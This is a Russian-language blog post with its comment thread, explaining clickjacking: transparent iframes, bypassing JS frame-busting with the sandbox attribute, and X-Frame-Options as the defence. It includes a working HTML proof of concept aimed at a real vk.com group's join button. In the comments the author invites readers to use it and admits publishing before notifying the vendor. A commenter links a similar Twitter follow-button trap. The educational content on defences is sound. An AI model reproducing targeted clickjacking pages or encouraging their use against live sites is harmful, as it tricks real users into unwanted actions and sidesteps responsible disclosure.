Clickjacking от А до Я

    Дорогой друг, здравствуй!
    В этом посте пойдет о речь о сущности Clickjacking атаки, методах воздействия на пользователя и противодействия данной уязвимости.





    Что есть Clickjacking?



    Кликджекинг (англ. Clickjacking) — механизм обмана пользователей интернета, при котором злоумышленник может получить доступ к конфиденциальной информации или даже получить доступ к компьютеру пользователя, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу. Wiki

    Говоря по-русски, мы создаем страницу, используя iframe, или аналогичный метод, сделав его полностью прозрачным, и разместив поверх него определенный текст. Тем самым, мы можем ввести пользователя в заблуждение и заставить его выполнить определенные действия.

    Методы противодействия



    Вы скажете: «Почему мы узнаем как противодействовать атаке, если даже не умеем её эксплуатировать?». Но ведь для использования атаки нужно удостовериться, что интересующий нас хост уязвим, только тогда мы сможем воспользоваться уязвимостью.

    Существует несколько способ защиты. Ну по крайней мере так думают некоторые.

    Дело в том, что когда в 2008 году сделали публичное разглашение данного типа атак (что брехня, ибо об этом говорили и раньше, просто в силу малой известности авторов, способ не уходил в массы) начали использовать easy fix для противодействия, что является псевдозащитой. А через некоторое время, браузеры начали поддерживать специальный заголовок, который ставит ограничения, либо вовсе запрещает загружать iframe на хостах, отличных от данного. Итак, разберем эти две защиты на живом примере.

    top != self или псевдозащита



    Как я уже говорил, данный способ появился почти сразу же, и являлся еще хоть какой-то защитой, до недавнего времени.

    Рассмотрим пример «защиты». Имеем страницу, загружаемую в iframe.



    Теперь внедряем код и даже видим, что она как будто бы работает.



    Но с появлением HTML5 и поддержкой всеми современными браузерами, эта защита элементарно обходится.



    HTML5 принес нам поддержку атрибута sandbox.

    Скажем так, что это не единственная подобная «защита». Вся она основана на JS и легко обходится.

    Заголовок X-Frame-Options



    Данный заголовок позволяет нам полностью или частично ограничить загрузку ресурса в iframe. Обойти крайне трудно, т.к браузер обрабатывает заголовок напрямую и обход является уязвимостью браузера. Данный способ наиболее приемлем, на сегодняшний день.

    Работа заголовка на google.ru



    Clickjacking ВКонтакте



    Ну вот мы и добрались до практического применения наших знаний.

    Первое, что должен проверить пентестер, наличие заголовка.



    Как мы видим, заголовок X-Frame-Options отсутствует, т.е сайт уязвим.

    Попытавшись загрузить сайт в iframe, получаем непрогрузившуюся страницу.



    Добавив sandbox, прогружаем страницу.



    А вот и виновник



    Размещаем текст под кнопкой «Вступить в группу».



    Имеем страницу, ну или биткоин групп, если вы понимаете, о чем я :)

    <html>
    <head>
    <title>Clickjacking vk.com</title>
    <style>
    iframe {
    position: absolute;	
      opacity: 0.2;
      z-index: 2;
    }
    </style>
    </head>
    <body>
    <iframe sandbox width='400' height='500' src='http://m.vk.com/drinkingandcats'></iframe>
    <a id='a' style='position:relative;left:140px;top:127px'>Click to WIN!</a>
    </body>
    </html>
    


    Ну вот, собственно, и все. Вид страницы может быть любым, но лучший способ атаки — повесить картинку крестика, закрытия баннера, поверх страницы. Лучший способ.
    Поделиться публикацией
    Комментарии 41
      +1
      А вот и виновник

      Что-то маловасто информации. Можете пояснить в чём проблема приводимого после этой фразы кода и как в итоге эту проблему пофиксили админы вконтакте?
        –1
        хехех, никак :)
        Есть пример, пользуйтесь.
        Напишу репорт после обеда, если сами не увидят.
        +1
        в опере не работает
          0
          До недавнего времени, там нет поддержки sandbox. У меня на 15 заводится. Что следовало ожидать.
          +5
          Моя паранойя меня бережёт.

            0
            Это стандартная опция в Safari? i.imgur.com/IxpyzgZ.png
              0
              Нет, это анти-фишинг.
                0
                Это Firefox + NoScript.
              +1
              Не считать как рекламу
              не считать как рекламу
              Не реклама

              O RLY?
                0
                Не, не реклама, профита для меня то в этом нет. Но если уж так все похоже на рекламу, убираю.
                0
                Ubuntu 12.04 Chrome 28 — не работает — iframe не загрузился.
                  0
                  Refused to display 'https://m.vk.com/drinkingandcats' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.
                  Ubuntu 12.04 Chromium 28
                  Пофиксили?
                    +1
                    да, только что глянул. Значит среди минусятеров были и работники Вконтакте :)
                      +4
                      Ну, по негласным правилам этикета багоискателя, стоит сначала оповестить разработчика и уж потом инфу постить. Я так пару месяцев ждал от Аутпоста ответа. И уже не дождавшись написал на хабр.
                        +1
                        Разумеется, просто я не по наслышке знаком с их отношением к уязвимостям. Если они 3 месяца фиксят XSS, то простите, лучше уж два часа в паблике, чем столько ждать.
                        Но признаю, так делать нельзя.
                          0
                          Большое спасибо за баг-репорт. А не подскажете, что за XSS фиксилась 3 месяца и куда именно вы об этой уязвимости сообщали?
                            0
                            Дело было около года-полтора, писал со страницы которая уже давно удалена. Писал в ТП, там сказали, что мол не видят уязвимости. Потом данная xss проскакивала на рынке, потом пофиксили. Я не первый раз встречаю XSS уязвимости на ВК. Дело давнишнее, если все изменилось, прошу прощения.
                            0
                            Мне баги (в т.ч. xss) фиксили за день-три. Как-то недоверительно отношусь к высказыванию выше.
                              0
                              Хм, а как давно это было?
                                0
                                Да что в этом году, что в прошлом.
                                  0
                                  Хм, спасибо, значит просто не повезло с оператором.
                                  К примеру: тут на хабре XSS откопал, написал, за 3 месяца не ответа ни привета, написал в комментах на самом Хабре, пофиксили в скором времени. Оказалось, человек просто забыл. Все же бывает :)
                              +2
                              Кстати, что за странное мнение, что ваш «баг» должны фиксить 2 дня, а не три месяца? Откуда оно?
                                0
                                Ну если у вас миллион посетителей, наверно, вы как можно скорее правите уязвимости. Просто выработалось такое отношение, т.к все конторы, с которыми я работаю, а они, кхм-кхм, не маленькие, фиксят через несколько часов.
                                  0
                                  Как можно скорее может быть и «три месяца». Fix-патч может иметь более низкий приортет на данный цикл, чем текущий функциональный апдейт, поэтому его закидывают на следующий круг. Почему фикс для активной XSS критичнее всего и из-за него стоит прерывать работу девов во вне очередном порядке, когда можно выкатить фикс планово, допустим через месяц в течение нормального цикла? Какой приоритет вы ставите XSS фиксам в JIRA? Как вы это аргументируете для людей не «секущих в секурити»?
                                    0
                                    К сожалению, а не к счастью, работаю на платёжные системы и банки, так что они выпускают заплатку в течении нескольких часов. А если это стандартный проект, то спешка, порой, может все даже испортить.
                              0
                              лол контакт это не разработчик, это зверь :)
                          0
                          отлично, спасибо. наконец-то кто-то объяснил, как это работает :)
                          а как проверить заголовки из консоли? это телнет?
                            0
                            NetCat, но глянуть в консоль браузера тоже можно, а совсем хорошо — HEAD послать.
                              0
                              $ curl -I http://site.ru
                              

                              или можно использовать веб-сервисы типа такого: www.hurl.it/hurls/cfafd3110f59d4f2974b16231eb885bb2ea6520c/2a9c452e6202c150cc7d30bbac750020d6d7428c
                                0
                                у меня виндоус!
                                  0
                                  Разве проблема найти бинарник curl под windows?
                                    0
                                    Cygwin, на худой конец.
                                      +3
                                      Нет нет, вы серьезно? Чтобы просто посмотреть заголовки надо ставить curl, Cygwin и т.д.?...
                                      Для чего браузер то? Например Chrome: ctrl + shift + i -> network -> f5, вкладка headers
                                      Жесть какая-то....
                                      P.S. Да и из консоли телнетом проверяйте,
                                      telnet host.com
                                      GET / HTTP/1.1
                                      Host: example.org
                                        0
                                        telnet host.com 80*
                                          +3
                                          powershell -Command "$headers = (([System.Net.WebRequest]::Create('http://habrahabr.ru/')).GetResponse()).Headers; $headers.keys | %{ Write-Host $_ : $headers[$_] `n -nonewline }"
                                            0
                                            О, Владимир :) спасибо ;)
                                            0
                                            а как проверить заголовки из консоли? это телнет?

                                            Он сам просил
                                      0
                                        0
                                        Давно читал про изящный способ clickjacking'а с использованием drag & drop'а: злоумышленник, чтобы заставить пользователей перетащить что-то в текстовую облась, поместил на сайт корзину, в которую нужно закинуть мяч. Жертвы даже не догадывались, что у них угнали личные данные :)
                                          0
                                          да-да, что-то такое было :)
                                          0
                                          Не стоит забывать еще о социальных кнопках. Еще один пример кликджекинга на крупном ресурсе (в данном случае это Twitter):

                                          extruth.ipq.co/poll.html

                                          Тут мы закрываем картинкой фрейм с кнопкой «подписаться» и при нажатии на картинку пользователь подписывается на нас.

                                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                          Самое читаемое